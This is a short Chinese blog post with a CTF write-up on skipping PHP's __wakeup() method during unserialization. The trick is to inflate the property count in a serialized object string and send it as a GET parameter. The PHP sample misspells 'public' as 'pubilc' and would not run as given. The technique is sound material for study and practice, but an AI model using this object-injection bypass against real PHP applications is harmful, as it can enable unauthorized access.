zoukankan      html  css  js  c++  java
  • XCTF-反序列化中_wakeup()函数

    跳过_wakeup()魔法函数
    __wakeup(): 将在序列化之后立即被调用
    漏洞原理: 当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行

    对于该题,先可以看到类xctf中有flag变量,并调用了__wakeup(),则考虑实例化xctf类并将其变量序列化。并猜测意图为将序列化结果输入在?code=后进行GET请求。
    进行序列化操作

     1 <?php
     2 class xctf{
     3 public $flag = '111';
     4 pubilc function __wakeup(){
     5 exit('bad requests');
     6 }
     7 }
     8  
     9 $a = new xctf();
    10 echo(serialize($a));
    11 ?>

    // 序列化输出结果为:
    // O:4:"xctf":1:{s:4:"flag";s:3:"111";}

    xctf为类名,4为字符数,1为序列化字符串中变量个数
    正常结果输入时,会执行__wakeup(),从而输出'bad requests',并退出脚本,因此利用漏洞绕过__wakeup()
    将序列化字符串中代表变量个数的数字改为大于其真实值的数字,并进行GET请求,得到结果。

     

  • 相关阅读:
    体育场馆预订系统版本1.0
    需求分析
    系统界面主地图
    详细设计
    概要设计
    测试用例正式发布
    第二次全体会议顺利召开5.30
    第一次小组会议(5.24)
    SDk编程基础
    单词canutillos祖母绿canutillos英语
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13021948.html
Copyright © 2011-2022 走看看